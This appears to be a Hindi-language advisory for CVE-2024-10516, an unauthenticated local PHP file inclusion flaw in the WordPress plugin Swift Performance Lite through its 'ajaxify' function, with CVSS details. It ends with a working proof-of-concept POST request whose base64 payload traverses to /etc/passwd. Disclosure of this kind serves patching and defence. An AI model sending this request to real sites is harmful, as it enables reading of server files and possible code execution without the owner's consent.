CVE-2024-10516

Swift Performance Lite <= 2.3.7.1 - 'ajaxify' के माध्यम से अप्रमाणित स्थानीय PHP फ़ाइल समावेशन

विवरण

WordPress के लिए Swift Performance Lite प्लगइन सभी संस्करणों में, 2.3.7.1 तक और सहित, 'ajaxify' फ़ंक्शन के माध्यम से स्थानीय PHP फ़ाइल समावेशन के लिए संवेदनशील है। यह अप्रमाणित हमलावरों को सर्वर पर मनमानी फ़ाइलों को शामिल करने और निष्पादित करने की अनुमति देता है, जिससे उन फ़ाइलों में किसी भी PHP कोड का निष्पादन संभव हो जाता है। इसका उपयोग पहुँच नियंत्रणों को बायपास करने, संवेदनशील डेटा प्राप्त करने, या उन मामलों में कोड निष्पादन प्राप्त करने के लिए किया जा सकता है जहाँ चित्र और अन्य "सुरक्षित" फ़ाइल प्रकार अपलोड और शामिल किए जा सकते हैं।

विवरण

• प्रकार: प्लगइन
• स्लग: swift-performance-lite
• प्रभावित संस्करण: 2.3.7.1
• CVSS स्कोर: 8.1
• CVSS रेटिंग: उच्च
• CVSS वेक्टर: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-10516
• स्थिति: सक्रिय

POC

बेस64 पेलोड = ["template-part","null","../../../../../etc/passwd"]

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 202

action=swift_performance_ajaxify&data=WyJ0ZW1wbGF0ZS1wYXJ0IiwibnVsbCIsIi4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiXQ==